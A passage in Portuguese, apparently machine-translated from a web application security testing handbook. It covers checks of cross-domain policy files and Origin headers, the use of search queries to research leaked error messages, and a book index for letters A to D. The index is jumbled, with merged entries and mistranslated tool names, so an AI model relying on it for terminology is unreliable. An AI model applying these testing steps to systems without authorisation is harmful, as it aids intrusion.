12.4.2 Verifique o arquivo `/clientaccesspolicy.xml`. Semelhante ao Flash, se o arquivo Se a configuração `<cross-domain-access>` for muito permissiva, outros sites poderão realizar interações bidirecionais com o site que está sendo avaliado.

12.4.3 Teste o tratamento de solicitações entre domínios de um aplicativo usando `XMLHttpRequest` adicionando um cabeçalho `Origin` especificando um domínio diferente e examinando os cabeçalhos `Access-Control` que são retornados. As implicações de segurança de permitir o acesso bidirecional de qualquer domínio, ou de outros domínios especificados, são as mesmas descritas para a política entre domínios do Flash.

13 Acompanhamento de qualquer vazamento de informações

13.1 Em todas as sondagens do aplicativo de destino, monitore suas respostas em busca de mensagens de erro que possam conter informações úteis sobre a causa do erro, as tecnologias em uso e a estrutura e a funcionalidade internas do aplicativo.

13.2 Se você receber mensagens de erro incomuns, investigue-as usando mecanismos de pesquisa padrão. Você pode usar vários recursos de pesquisa avançada para restringir seus resultados. Por exemplo:

```
"unable to retrieve" filetype:php
```

13.3 Analise os resultados da pesquisa, procurando por qualquer discussão sobre a mensagem de erro e por outros sites em que a mesma mensagem tenha aparecido. Outros aplicativos podem produzir a mesma mensagem em um contexto mais detalhado, permitindo que você entenda melhor que tipo de condições geram o erro. Use o cache do mecanismo de pesquisa para recuperar exemplos de mensagens de erro que não aparecem mais no aplicativo ativo.

13.4 Use a pesquisa de código do Google para localizar qualquer código disponível publicamente que possa ser responsável por uma determinada mensagem de erro. Procure trechos de mensagens de erro que possam estar codificados no código-fonte do aplicativo. Você também pode usar vários recursos de pesquisa avançada para especificar a linguagem do código e outros detalhes, se forem conhecidos. Por exemplo:

```
unable\ to\ retrieve lang:php package:mail
```

13.5 Se receber mensagens de erro com rastreamentos de pilha contendo os nomes de componentes de código de bibliotecas e de terceiros, pesquise esses nomes em ambos os tipos de mecanismo de pesquisa.

Índice

A

Absinto, 322
URLs absolutos, vulnerabilidades de redirecionamento aberto
  bloqueio, 544-545
  prefixo, 545-546
Abordagem "aceitar o bem conhecido", entrada, 24
acesso
  Atacantes de ASP, 658-660
  Métodos de API do ASP.NET
    banco de dados, 721
    arquivo, 720
  ASPs e cliente, 665-666 banco de dados
    Métodos da API do ASP.NET, 721 Métodos da API do Java, 714-715 Métodos da API da linguagem Perl, 737-738
    Métodos da API do PHP, 729-730 manipulação de mecanismos de defesa, 18-21
    autenticação, 18-19
    controle, 20-21
    gerenciamento de sessões, 19-20 métodos da API Java
    banco de dados, 714-715
    arquivo, 713
  Banco de dados de métodos da API da linguagem Perl, 737-738
    arquivo, 737
  Banco de dados de métodos da API do PHP, 729-730
    arquivo, 727-729
  hospedagem compartilhada
    atacantes, 658-660
    cliente, 665-666
  relações de confiança na arquitetura em camadas, 649
controles de acesso
  teste de contas, 267-270
  Métodos de API, 276-277
    Métodos HTTP, 278
    acesso limitado, 273-276
    função de múltiplos estágios, 271-273
    recursos estáticos, 277
  mapeamento de aplicativos, 268-269
  atacantes, 266-278
    tipos, 258-260
    nomes de usuário e senhas, 275-276
  componentes de back-end, 357
  quebrado, 7, 274
  dependente do contexto, 258
  declarativo, 282-283
  com defeito, 257
  discricionário, 282
  falhas, 284
  metodologia do hacker acesso inseguro, 823
    acesso limitado, 822-823
    contas múltiplas, 822
    requisitos, 821
  horizontal, 258
  funções baseadas em identificadores, 261-262
  métodos inseguros, 265-266
  baseado em localização, 266
  funções de vários estágios, 262-263
    testes, 271-273
  baseado em parâmetros, 265-266
  segregação por usuário, 274
  plataformas, 264-265
  programático, 282
  baseado em referência, 266
  baseado em funções, 282
  segurança, 278-283
    práticas recomendadas, 279-280 abordagem de componente central, 280
    modelo de privilégio em várias camadas, 280-283
    armadilhas, 278-279
  recursos estáticos, 263-264
    teste de conta, 277
  funcionalidade desprotegida, API métodos, 260-261
  vertical, 258
  vulnerabilidades, 258-266, 276
    falhas de lógica de aplicativo, 411
`Controle de acesso - Permitir` Cabeçalhos `de origem`, 528-529 URLs de ativação de conta, 184 suspensão de conta, 197-198
teste de conta, controles de acesso, 267-270
  Métodos de API, 276-277
  Métodos HTTP, 278
  acesso limitado, 273-276
  função de múltiplos estágios, 271-273
  recursos estáticos, 277
Procuração de Aquiles, 751
Formato de mensagem de ação (AMF), 135
  Suíte Burp, 137
varredura ativa, 764-765
Controles ActiveX, 447
  COMRaider, 558

metodologia do hacker, extensões de navegador, 804
Modificação de HTML, 557
"seguro para scripts" registro, 555-557
vulnerabilidades, 555-556
descoberta, 556-558
prevenção, 558-559 funções
administrativas, web aplicativos, 35-36
administradores
DBA, 325-326
mecanismos de defesa que lidam com invasores, alertas, 33-34
Ajax
HTML5, 487
XSS armazenado em arquivos carregados via, 486-487
funcionalidade da web, 62-63, 384
Alcon, Wade, 565
alertas, 33-34
Allaire JRun, 690-691
`allow_url_include`, 729
AMF. *Consulte* Mensagem de ação Formato
caractere E comercial, função de lote, 360-361, 363
Anley, Chris, 218, 322, 634
alertas de eventos anômalos, 33 tokens anti-CSRF, 508-509, 516-517
Derrota de XSS, 509-510
filtros anti-XSS, 452
IE, 748
Aplicativo AOL AIM Enterprise Gateway, 409
Apache
estouro de codificação em blocos, 688
mensagens de erro, 628
`mod_isapi`, 688
`mod_proxy`, 688
XSS refletido, 442
Tomcat, 673
hospedagem virtual, 683 métodos de API
controles de acesso a, 260-261
testes de conta, 276-277
ASP.NET
banco de dados, 721
execução de código dinâmico, 722 acesso a arquivos, 720
Execução de comandos do sistema operacional, 722-723
soquetes, 723
Redirecionamento de URL, 723
entrada do usuário, 718-719
Java
acesso ao banco de dados, 714-715 execução de código dinâmico, 715 acesso a arquivos, 713
Execução de comandos do sistema operacional, 715-716
potencialmente perigoso, 713-716
soquetes, 716
Redirecionamento de URL, 716 Entrada de usuário Java, 712 JavaScript baseado em DOM, 740 Linguagem Perl
acesso ao banco de dados, 737-738 execução dinâmica de código, 738 acesso a arquivos, 737
Execução de comandos do sistema operacional, 738
potencialmente perigoso, 736-739
soquetes, 739
Redirecionamento de URL, 738 PHP
acesso ao banco de dados, 729-730 execução dinâmica de código, 730-731
acesso a arquivos, 727-729
Execução de comandos do sistema operacional, 731
potencialmente perigoso, 727-732
soquetes, 732
Redirecionamento de URL, 731-732
redirecionamento no lado do servidor, 392
Injeção de SQL, 291
versatilidade, 358
Apple iDisk Server, vulnerabilidades de passagem de caminho, 690
aplicativo. *Consulte* arquitetura de aplicativos de aplicativos da Web. *Veja* arquiteturas em camadas
falhas na lógica do aplicativo
vulnerabilidades dos controles de acesso, 411
superfície de ataque, 405
trilha de auditoria, 429
autenticação, 415-416
evitando, 428-429
superação do limite de negócios, 416-417, 429
quebra de banco, 414-416
trapaça com desconto em massa, 418, 429
mensagens do depurador, 424-426
desenvolvedores, 429-430
oráculo de criptografia, 407-408
função "remember me", 407
fuga, 419-420
serviços financeiros, 412-416
navegação forçada, 411

superfície de ataque da metodologia do hacker, 842
entrada incompleta, 843
funções de vários estágios, 842-843
lógica de transação, 844
relações de confiança, 844
metodologia do hacker, autenticação, 811-813
invalidando a validação de entrada, 420-422
lições, 428-429
função de login, 426-427
condições de corrida, 427
natureza do, 406
função de alteração de senha, 409-410
procedendo ao checkout, 410-411
mundo real, 406-407
contratar seu próprio seguro, 412-413
função de pesquisa, 429
abuso, 422-424
segurança, 428
gerenciamento de sessões, 429
metacaracteres do shell, 419
código-fonte, 428
Injeção de SQL, 420-422
registros de aplicativos, 262
mapeamento de aplicativos, 73
controles de acesso, 268-269
analisando, 97-113
áreas-chave, 97-98
superfície de ataque, 111
exemplo, 112-113
Suíte Burp, 268
comparações, 268-269
enumerando conteúdo e funcionalidade, 74-97
metodologia do hacker, 795-798
parâmetros de depuração, 798
conteúdo padrão, 797
enumeração de identificadores, 797-798
conteúdo oculto, 796-797
recursos de informações públicas, 796
tokens para sessões, 818
conteúdo visível, 795-796
conteúdo oculto
técnicas de força bruta descobrindo, 81-85
descoberta, 80-93
inferência de dados publicados descoberta de conteúdo, 85-89

descoberta de informações públicas, 89-91
servidor da Web aproveitado para descoberta, 91-93
parâmetros ocultos, 96-97
pontos de entrada de entrada
Cabeçalhos HTTP, 100-101
canais fora de banda, 101
parâmetros de solicitação, 99
caminhos de arquivo de URL, 98-99
metodologia, 114
esquemas de nomenclatura, 85-86
exercício de força bruta, 88
identificando, 87
vulnerabilidades de passagem de caminho, 371
no lado do servidor
identificação da funcionalidade, 106-110
identificação da tecnologia, 101-106
páginas de aplicativos da web *versus* caminhos funcionais, 93-96 servidores de aplicativos. *Consulte* Web servidores
provedores de serviços de aplicativos (ASPs), 656-657. *Consulte também* ASP. NET; atacantes de
computação em nuvem, 658-665
acesso, 658-660
scripts de backdoor deliberados, 660-661
entre aplicativos da web, 660-663
serviços financeiros, 658
organização, 658
segurança, 665-667
segregação de componentes, 667
acesso do cliente, 665-666
funcionalidade do cliente segregação, 666
compartilhada, 657-658
ameaças, 657
VPN, 659
entrada arbitrária. *Consulte* arquitetura de entrada do usuário. *Consulte* em camadas arquiteturas
Armstrong, Dave, 505
A arte da avaliação de segurança de software (Dowd & McDonald & Schuh), 634
Código ASCII, 67
US-ASCII, 464
Quebra-cabeças Asirra, Microsoft, 612 ASP.NET, 54, 103
Banco de dados de métodos de API, 721
execução de código dinâmico, 722 acesso a arquivos, 720
Execução de comandos do sistema operacional, 722-723
soquetes, 723
Redirecionamento de URL, 723
entrada do usuário, 718-719
mensagens de erro, 628
Injeção de comando do sistema operacional via, 360-361
redirecionamento, 392
configuração de segurança, 723-724
interação de sessão, 719-720
traços de pilha, 617
`Estado de exibição`
atacantes, 127
Codificação Base64, 125-126
Suíte Burp, 126
transmissão de dados no lado do cliente, 124-127
finalidade, 125
segurança, 155
ASPs. *Consulte* provedores de serviços de aplicativos
Extensão de arquivo `.aspx`, 107 Astely, Rick, 541
cargas úteis de ataque, XSS, 443-447
autocompletar, 446
escalonamento no lado do cliente, 447 escalonamento para outras páginas, 473-474
ações indutoras, 445-446
Injeção de cavalos de Troia, 444-445
exploração da relação de confiança, 446-447
defacement virtual, 443-444
superfície de ataque
falhas na lógica de aplicativos, 405 mapeamento de aplicativos, 111
exemplo, 112-113
metodologia do hacker, falhas na lógica do aplicativo, 842
mapeamento da metodologia do hacker, 800
atacantes. *Veja também ataques específicos*
controles de acesso, 266-278
tipos, 258-260
nomes de usuário e senhas, 275-276
ASP.NET `ViewState`, 127
ASPs, 658-665
acesso, 658-660
scripts de backdoor deliberados, 660-661
entre aplicativos da web, 660-663
componente de cassino das extensões de navegador, 134
CAPTCHA, 198-199
automação personalizada, 610-611
ataques do lado do cliente, 13
computação em nuvem, 14, 663-665
sistemas clonados, 664
tokens, 665
métodos de injeção de cookies, 536-537
credenciais, 171
manuseio de mecanismos de defesa, 30-35
alertas do administrador, 33-34
manutenção do registro de auditoria, 31-32 erros, 30-31
reagindo a, 34-35
elementos desativados, 132-133
codificação e, 66-67
senha esquecida, 14
vulnerabilidades de string de formato, 644
Injeção de cabeçalho HTTP, 534-535
intenções, 13
função de login, 164-165
Bancos de dados MS-SQL, 326-327
modelo de privilégios em várias camadas, 283
função de login de vários estágios, 188
MySQL, 328
hosts de rede, 561-562
serviços não HTTP, 562-563
Bytes NULL, 23-24
dados opacos, 124
Bancos de dados Oracle, 327
outros usuários, 431-432
vulnerabilidades de passagem de caminho que contornam obstáculos, 374-377
bem-sucedido, 374
locais de destino, 370-371
remoto, 427
gerenciamento de sessão, 20
scripts de token de sessão, 217
hospedagem compartilhada, 658-665
acesso, 658-660
scripts de backdoor deliberados, 660-661
entre aplicativos da web, 660-663
etapas de XSS armazenadas, 438-439 arquiteturas em camadas, 648-654
categorias, 648-649 tokens
criptografia, 232-233

significativo, 212
Tradução de URL, 396-397
nome de usuário, 168
segurança de aplicativos da web, 6 navegadores da web, 559-568
sites criados por, 448-449
`XMLHttpRequest`, 529
XSS, 251
delimitadores de atributos, filtros de desvio de HTML, 461-462
nomes de atributos, HTML ignorando filtros, 461
valores de atributo, HTML ignorando filtros, 462
registros de auditoria
mecanismos de defesa que lidam com atacantes, manutenção, 31-32
eventos importantes, 32
mal protegido, 32
valor, 31
trilha de auditoria, 429
autenticação. *Veja também* controles de acesso; gerenciamento de sessões
anomalias, 201
falhas na lógica do aplicativo, 415-416 quebrado, 7
função de login de força bruta, 162-165
CAPTCHA, 198-199
credenciais
validação incompleta, 180-181
distribuição insegura, 184
armazenamento inseguro, 190-191 manuseio secreto de, 192-193
força, 192
vulnerabilidade de transmissão, 169-171
validação, 193-195
CSRF, 507-508
como defesa, 159
mecanismos de defesa que lidam com o acesso, 18-19
falhas de projeto, 161-184
menus suspensos, 193
espiões, 169
metodologia do hacker
falhas na lógica do aplicativo, 811-813
credenciais, geradas automaticamente, 809-810
credenciais, distribuição insegura, 810-811
credenciais, transmissão insegura, 810
falsificação de identidade, 808-809
armazenamento inseguro na web, 811 adivinhação de senha, 807
qualidade da senha, 806
recuperação de senha, 807-808
funções "lembrar de mim", 808
compreensão, 805
enumeração do nome de usuário, 806-807
exclusividade do nome de usuário, 809 exploração de vulnerabilidade para acesso não autorizado, 813
Formulários HTML, 160-161
HTTP, 50-51
sessões evitadas com, 208-209
personificação, 178-180
metodologia do hacker, 808-809
falhas de implementação, 185-191
prevenção de vazamento de informações, 195-196
registro em log, 201 função de login
suspensão de contas, 197-198
falha de abertura, 185-186, 194
multiestágio, 186-190, 194-195
mensagens de falha detalhadas, 166-169
monitoramento, 201
notificação, 201 senhas
funcionalidade de alteração, 171-172, 193
uso indevido da funcionalidade de alteração, 199
funcionalidade esquecida, 173-175
inicial previsível, 183
fraco, 161-162
problemas com, 19 funções "lembrar de mim", 175-176, 193
metodologia do hacker, 808
segurança, 191-201
prevenção de ataques de força bruta, 196-199
sutilezas, 195
smartcards, 206
vulnerabilidade autônoma scanners, 778-779
tecnologias, 160-161
tokens, 160
nomes de usuário
enumeração, 166-169, 806-807
não exclusivo, 181-182
previsível, 182-183, 197
exclusividade, 809
XSS, 473-474
autocompletar
ataques locais à privacidade, 552 cargas úteis de ataques
XSS, 446 automação. *Consulte* personalizada automação

B

senha do backdoor, 178-179
código-fonte, 708
scripts de backdoor, deliberados, 660-661
componentes de back-end. *Consulte também* inclusão de arquivos; comandos do sistema operacional; caminho controles de acesso de
vulnerabilidades transversais, 357
transmissão de dados, 357
injeção de cabeçalho de e-mail, 398-399
HPI, 390
causas, 393-394
HPP, 394-395
redirecionamento HTTP no lado do servidor, 390-392
exploração, 391-392
Injeção de SMTP, 397-402
falhas, 400-401
prevenção, 402
Injeção de SOAP, 386-388
aplicativo bancário, 387-388
mensagens de erro, 388
localização e exploração, 389 prevenção, 27, 390
Ataques de tradução de URL, 396-397
injeção de solicitação de back-end, 841 caractere de barra invertida, escapando com, 419
caractere de backtick, função de encapsulamento do, 363
função de múltiplos estágios de aplicativos bancários, 263
tokens por página, 252-253
Injeção de SOAP, 387-388
captura de banners, 101
Codificação Base64, 69
ASP.NET `ViewState`, 125-126
autenticação básica, 50-51
consultas em lote, MS-SQL bancos de dados, 317
batendo o limite de negócios, falhas na lógica do aplicativo, 416-417, 429

BeEF, 565-566
inversor de bits, Burp Intruder, 593
tokens de criptografia, 228-231
revisão de código black-box, 702-703 filtros baseados em listas negras, 23-24
XSS, 451-452
injeção cega de SQL, 626
caracteres bloqueados, filtros, 311-312
aplicativos de blog, entrada, 22
condições booleanas, `UNION` operador, 329
Sinalizador booleano, 107
validação de limite, entrada, 25-28, 313
quebra de banco, falhas de lógica de aplicativo, 414-416
extensões de navegador. *Veja também* Flash; Java; componente de cassino do Silverlight, 133-134
atacantes, 134
Cromado, 750
controle do lado do cliente da entrada do usuário com, 133-153
interceptação de transmissão de dados, 135-139
obstáculos, 138-139
dados serializados, 136-138
depurador anexado a, 151-152
descompilação, 139-150
bytecode, 139-141
ofuscação de bytecode, 144-146
Exemplo de applets Java, 146-150
Manipulação de JavaScript bytecode original, 144
código-fonte, 142-144
Firefox, 750
metodologia do hacker, 802-804
Controles ActiveX, 804
depurador, 803-804
descompilação, 802-803
componentes nativos do cliente, 153 política de mesma origem, 525-527
Flash, 525-526
Java, 527
Silverlight, 526-527
abordagens de direcionamento, 135
tecnologias, 65
navegadores. *Consulte* navegadores da Web
histórico de navegação
Roubo de JavaScript, 560
ataques locais à privacidade, 552
técnicas de força bruta
mapeamento de aplicativos
nomeação
exercício de esquemas, 88
segurança de autenticação
prevenção, 196-199
conteúdo oculto, 81-85
função de login, 162-165
senhas no wiki, 424
detecção de estouro de buffer, 639-640
metodologia do hacker, 837-838
estouro de heap, 635-636
vulnerabilidades "off-by-one", 636-638
software, 687
código-fonte, 709
estouro de pilha, 634-635
sem controle, 639
Comprimento do URL, 639
trapaça de desconto em massa, falhas de lógica de aplicativo, 418, 429
Burp Intruder, 82-84, 86
inversor de bit, 593
criptografia de tokens, 228-231
"character frobber", 593
automação personalizada, 590-602
coleta de dados, 598-600
enumeração de identificadores, 594-597
fuzzing, 600-602 cargas úteis
escolha, 592-594
posicionamento, 591-592
tokens previsíveis, 213-214
análise de resposta, 594
ataque de franco-atirador, 592
Codificação Unicode, 375 cadeias de caracteres do agente do usuário, 100
Proxy de Burp, 754-755
Repetidor Burp, 473, 681, 766
Scanner de Burp, 764-765
Sequenciador de burp, 767
configuração de análise automática, 223 teste de aleatoriedade de token, 219-221
Burp Spider, 74-76, 80 Burp Suite
AMF, 137
mapeamento de aplicativos, 268
ASP.NET `ViewState`, 126
Certificado CA, 758-759
"método de solicitação de alteração" comando, 474-475
Comparador, 167
Descoberta de conteúdo, 88-89
DSer, 136-137
"solicitação no navegador", 272-273 mecanismos de tratamento de sessão, 603-609
pote de biscoitos, 603-604
macros de solicitação, 604-606
regras de tratamento de sessões, 606-609
rastreador de manipulação de sessão, 609 limite de negócios, lógica de aplicativo
falhas, 416-417, 429
exploração da lógica comercial, 259 bytecode
descompilando extensões de navegador, 139-141
Manipulação de JavaScript, 144
ofuscação, 144-146
download, 140
Flash, 141
Java, 141
Silverlight, 141
recompilação do código-fonte
no navegador, 142-143
navegador externo, 143
URL, 140

C

Certificado CA, Burp Suite, 758-759
retornos de chamada, função, 520
canonização
entrada, 28-29
software de servidor da web, 689-694 CAPTCHA
atacantes, 198-199 automação personalizada, 610-611
autenticação, 198-199
bugs, 610-611 automação personalizada, 610-612
atacantes, 610-611 resolução automática, 611-612
resolução de problemas por seres humanos, 612
drones, 612
As folhas de estilo em cascata (CSS) avaliaram dinamicamente os estilos, 459
propriedade `font-family`, 518-519
injeção, captura de dados entre domínios, 517-519
funcionalidade da Web, 60-61 componente de cassino, extensões de navegador, 133-134
atacantes, 134
CBC. *Consulte* encadeamento de blocos de cifras Consulta CGI, 735-736
encadeament
o de CBC
criptografia de tokens, 227-233
Preenchimento do PKC nº 5, 227-233

XSS, 450-451
comando "change request method", 474-475
"character frobber", Burp Intruso, 593
exceções verificadas, 30
checkout, falhas na lógica do aplicativo, 410-411
Applet `CheckQuantity`, 141
Cromado, 750
sistema de arquivos `com chroot`
vulnerabilidades de passagem de caminho, 380-381
UNIX, 381
tokens de criptografia de encadeamento de blocos de cifras (CBC), 227-233
Preenchimento do PKC nº 5, 686-687
texto cifrado, 224-226
Arquivos `.class`, 141
Elemento `ClearedFunds`, 387-388
cleartext, senhas, 190-191
clickjacking, 511. *Consulte também* usuário
ataques de reparação de interface componentes do cliente, nativos, 153 lado do cliente
ataques, 13
transmissão de dados, 118-127
ASP.NET `ViewState`, 124-127
para desenvolvedores, 118
metodologia do hacker, 801
formulários HTML ocultos, 118-120 cookies HTTP, 121
dados opacos, 123-124
Cabeçalho do `referenciador`, 122
segurança, 154-156
Parâmetros de URL, 121-122
metodologia do hacker, dados transmissão, 801
HPP, 548-550
vazamentos de divulgação de informações, 629
injeção, 531-550
SQL, 547-548
JavaScript, validação com, 130-131, 156
segurança, 431-432
sequestro de token de sessão, 243-244
Injeção de SQL, 547-548
Certificação SSL, 138
entrada do usuário controlada por, 117 extensões de navegador, 133-153 metodologia do hacker, 801-802
Formulários HTML, 127-133
mitos de validação, 155-156
funcionalidade da web, 57-65
Ajax, 62-63, 384
tecnologias de extensão de navegador, 65
CSS, 60-61
DOM, 62
formulários, 58-60
HTML, 58
HTML5, 64-65
hiperlinks, 58
JavaScript, 61
JSON, 63
política de mesma origem, 64
VBScript, 61
Escalonamento de cargas úteis de ataques XSS, 447
sistemas clonados, 664 computação em nuvem
atacantes, 14, 663-665
sistemas clonados, 664
tokens, 665
mecanismo de defesa, 664
abordagem de recursos em primeiro lugar, 664-665 perda de controle, 663-664 migração de ferramentas de gerenciamento para, 664
aplicativos da Web, 5
armazenamento na web, 665
CMS. *Consulte* sistema de gerenciamento de conteúdo
ferramentas de navegação de código, 743 injeção de código, 288
revisão de código. *Consulte* código-fonte, revisão
comandos. *Consulte* comandos do sistema operacional
comentários
MySQL, 303-304, 312
código-fonte, 710-711
SQL, 312
Comparador, Burp Suite, 167
aplicativos compilados. *Veja* nativos
sequências ocultas de componentes do cliente, 213-215
logins simultâneos, 250 erros condicionais, injeção de SQL, 320-322
filtros de consultas conjuntivas, 350
injeção de LDAP, 352-353
Método `CONNECT`, 682, 755
conteúdo
enumeração e funcionalidade, 74-97
oculto
técnicas de força bruta descobrindo, 81-85
descobrindo, 80-93
metodologia do hacker, mapeamento de aplicativos, 796-797
inferência a partir da descoberta de conteúdo publicado, 85-89
Descoberta da Nikto, 93 informações públicas descobrindo, 89-91
spidering direcionado ao usuário descobrindo, 81-83
servidor da Web aproveitado para descoberta, 91-93
Wikto descobrindo, 92-93
servidor da Web e padrão, 92, 671-677
funcionalidade de depuração, 671-672
metodologia do hacker, 847
JMX, 674-676
funções poderosas, 673-674
funcionalidade de amostra, 672-673 Content Discovery, Burp Suite, 88-89
sistema de gerenciamento de conteúdo (CMS), 77
servidores da web, 92
Cabeçalho `Content-Length`, 42
Solicitação `POST`, 581
Cabeçalho `Content-Type`, 136, 138, 476, 478, 525-526
Dependente do contexto, controles de acesso, 258
Cabeçalho de `cookie`, 41, 47 injeção de cookie
métodos do atacante, 536-537
fixação de sessão, 537-540 pote de cookies, Burp Suite, 603-604
cookies
arbitrário, 537
atributos, 47
restrições de domínio, 245-247
metodologia do hacker, 820-821
HTTP, 19, 47
transmissão de dados no lado do cliente, 121
tokens de gerenciamento de sessão, 207-208, 234-236
Injeção de cabeçalho HTTP, 533 função de login, 163
restrições de caminho, 247-248
persistente, 550
XSS refletido, 437-438
`RemembeMe`, 407-408
funções "lembrar de mim", 175-176
`ScreenName`, 407-408

gerenciamento de sessões, escopo liberal, 244-248
Exploração de XSS via, 475
Método COPY, 679
função count(), 348 credenciais
atacantes, 171
vulnerabilidade de autenticação, 169-171
e-mail contendo, 184
metodologia do hacker, autenticação gerada automaticamente, 809-810
distribuição insegura, 810-811
transmissão insegura, 810
validação incompleta, 180-181
distribuição insegura, 184
armazenamento inseguro, 190-191 manuseio secreto de, 192-193 força, 192
validação, 193-195
servidor da Web e
padrão, 670-671
metodologia do hacker, 846
captura de dados entre domínios, 515-516
Injeção de CSS, 517-519
Firefox, 521
Injeção de HTML, 516-517
Sequestro de JavaScript, 519-520
E4X, 523-524
retornos de chamada de função, 520
JSON, 521
prevenção, 524
atribuição de variáveis, 522
serviços de proxy, 529-531
solicitações entre domínios
JSON, 477
XMLHttpRequest, 528-529
XSS enviando XML, 477-478
/crossdomain.xml, 525-526
falsificação de solicitação entre sites (CSRF), 8, 244, 504-511
tokens anti-CSRF, 508-509, 516-517
XSS derrotando, 510-511
autenticação, 507-508
falhas
exploração, 506-507
prevenção, 508-510
no mundo real, 505
metodologia do hacker, 820
gerenciamento de sessão, 251 cross-site scripting (XSS), 8 cargas úteis de ataque, 443-447
autocompletar, 446
escalonamento no lado do cliente, 447
escalonamento para outras páginas, 473-474
ações indutoras, 445-446
Injeção de cavalos de Troia, 444-445 relação de confiança
exploração, 446-447
desfiguração virtual, 443-444
atacantes, 251
autenticação, 473-474
encadeamento, 450-451
CSRF derrotando tokens anti-CSRF com, 510-511
mensagens de erro do banco de dados, 620 defesa, 28
mecanismos de entrega, 447-451
em banda, 449-450
fora de banda, 450
Baseado em DOM, 440-442
entrega, 448-449
descoberta e exploração, 487-491
validação de entrada, 497
validação de saída, 497-498
prevenção, 496-498 XSS
refletido convertido em, 472-473
etapas, 441
escapando, 420
explorações
biscoitos, 475
entrega, 473-481 JavaScript
executado em Respostas XML, 478-479
conteúdo de solicitação e resposta fora do padrão, 476-479
Cabeçalho Referrer, 475-476
Solicitações XML enviadas de forma cruzada. domínio, 477-478
filtros
anti-, 452, 748
baseado em lista negra, 451-452
IE, 479-481
navegadores da web, 479-481 pares de tags HTML, 422
Filtro IE, 479-481
JavaScript, 436-438
serviços não HTTP, 562-563
Bytes NULL, 460
Solicitação POST alterada para GET solicitação, 474-475
prevalência, 432
prevenção, 492-498
mundo real, 442-443
refletida, 434-438
Apache, 442
cookies, 437-438
filtros defensivos, 455-456
entrega, 448-449
DOM XSS convertido de, 472-473
exploração, 435-438, 474
localização e exploração, 452-481
metodologia do hacker, 829-830
Limitações do HTML, 495-496
IE, 435
inserção de entrada, 495
validação de entrada, 492-493
limites de comprimento, 471-473
validação de saída, 493-495
prevenção, 492-496 função "remember me", 437 filtros de higienização, 468-471 filtros baseados em assinatura, 455-456
etapas, 436-437
XSS armazenado em comparação com, 439-440
teste de entrada do usuário, 453 teste de entrada do usuário para introduzir o script, 454-455
evolução da segurança, 433
vulnerabilidades de token de sessão, 243-244
código-fonte, 704-705
armazenado, 438-440
etapas do atacante, 438-439
entrega, 449-450
teste de e-mail, 483-484
localização e exploração, 481-487
Limitações do HTML, 495-496
inserção de entrada, 495
validação de entrada, 492-493
MySpace, 442-443, 446
validação de saída, 493-495
prevenção, 492-496 XSS
refletido em comparação com, 439-440
função de pesquisa, 439 teste de arquivos carregados, 484-487
identificação de vulnerabilidades, 451-452
de baixo risco, 451
variedades, 433-442
Shell XSS, 566
algoritmos criptográficos, 687
CSRF. *Consulte* solicitação entre sites
falsificação

CSS. *Consulte* Folhas de estilo em cascata Curl, 788
desenvolvimento personalizado, aplicativos da web, 10
codificação personalizada, vulnerabilidades de passagem de caminho, 377-378
barreiras à automação personalizada, 602-612
Burp Intruder, 590-602
ataque de coleta de dados, 598-600
ataque de enumeração de identificadores, 594-597
ataque de fuzzing, 600-602
Enigmas CAPTCHA, 610-612
atacantes, 610-611 resolução automática, 611-612
resolução de problemas por seres humanos, 612
coleta de dados, 572
abordagem básica, 584-586
Intruso de arroto, 598-600
causas, 583-584
JAttack, 585-586
usos, 584
eficiência, 571 enumeração de identificadores, 572-583
abordagem básica, 574
Intruso de arroto, 594-597
detecção de acertos, 574-576
exemplos, 573
Código de status HTTP, 574 JAttack, 577-583
Cabeçalho `do local`, 575
corpo de resposta, 575
duração da resposta, 574-575
criação de scripts, 576-577
Cabeçalho `Set-Cookie`, 575
atrasos de tempo, 575-576
fuzzing, 572-573
Intruso de arroto, 600-602
JAttack, 588-590
objetivo, 586-587
cordas, 587
mecanismos de tratamento de sessão, 602-609
scanners autônomos de vulnerabilidade, 780-781
usos, 572-573
Ambiente Cygwin, 577

D

DAC. *Consulte* controle de acesso discricionário
captura de dados. *Consulte* captura de dados entre domínios
coleta de dados, 572
abordagem básica, 584-586
Intruso de arroto, 598-600
causas, 583-584
JAttack, 585-586
usos, 584
armazenamentos de dados. *Consulte também* Extensible Markup Language; Lightweight Directory Access Protocol; Structured Query Language
acessando, 288-289
NoSQL, 342-343
nível de privilégio, 287
aplicativos da Web com base em, 287
transmissão de dados. *Consulte também* entrada do usuário
componentes de back-end, 357
extensões de navegador interceptação, 135-139
obstáculos, 138-139
dados serializados, 136-138
no lado do cliente, 118-127
ASP.NET `ViewState`, 124-127
para desenvolvedores, 118
metodologia do hacker, 801
formulários HTML ocultos, 118-120 cookies HTTP, 121
dados opacos, 123-124
Cabeçalho do `referenciador`, 122
segurança, 154-156
Parâmetros de URL, 121-122
abordagem de carregamento preguiçoso, 626 opaco, 123-124
atacantes, 124
administrador de banco de dados (DBA), 325-326
O Manual do Hacker de Banco de Dados, 326
acesso a bancos de dados
Métodos da API do ASP.NET, 721 Métodos da API do Java, 714-715 Métodos da API da linguagem Perl, 737-738
componentes de código perigosos, 742
Injeção de SQL, 741-742
mensagens de erro, 619-622
oráculo de criptografia, 620-622
divulgação de informações, 619-620
XSS em, 620
ataques de escalonamento, 319, 325-328
impressão digital, 303-304
`information_schema`, 309-310
MS-SQL
atacantes, 326-327
exploração automatizada, 330
consultas em lote, 317
bloqueio padrão, 326-327
mensagens de erro, 334-338
canais fora de banda, 317
sintaxe, 332-334
Comando `WAITFOR`, 322-323
Oracle
atacantes, 327
11g, 318
mensagens de erro, 334-338
canais fora de banda, 317-318
sintaxe, 332-334
atrasos de tempo, 323-324
Operador `UNION`, 307-308
pesquisável e classificável, 321-322
procedimentos armazenados, 339
Davtest, 680
DBA. *Consulte* depuradores do administrador do banco de dados
extensões de navegador anexadas, 151-152
mensagens de erro, 425-426, 618-619
comum, 619
metodologia do hacker, mapeamento de aplicativos, 798 metodologia do hacker,
navegador extensões, 803-804
Java, 151-152
mensagens
falhas na lógica do aplicativo, 424-426
verboso, 425
Silverlight, 152
servidor da Web, 671-672
controles de acesso declarativos, 282-283
descompilação
extensões de navegador, 139-150
bytecode, 139-141
ofuscação de bytecode, 144-146
Exemplo de applets Java, 146-150
Manipulação de JavaScript bytecode original, 144
código-fonte, 142-144
metodologia do hacker, extensões de navegador, 802-803
Jad, Java, 148-150
algoritmos de descriptografia, 650 conteúdo padrão

metodologia do hacker, mapeamento de aplicativos, 797
servidor da Web, 671-677
metodologia do hacker, 847
credenciais padrão, servidor da Web, 670-671
metodologia do hacker, 846
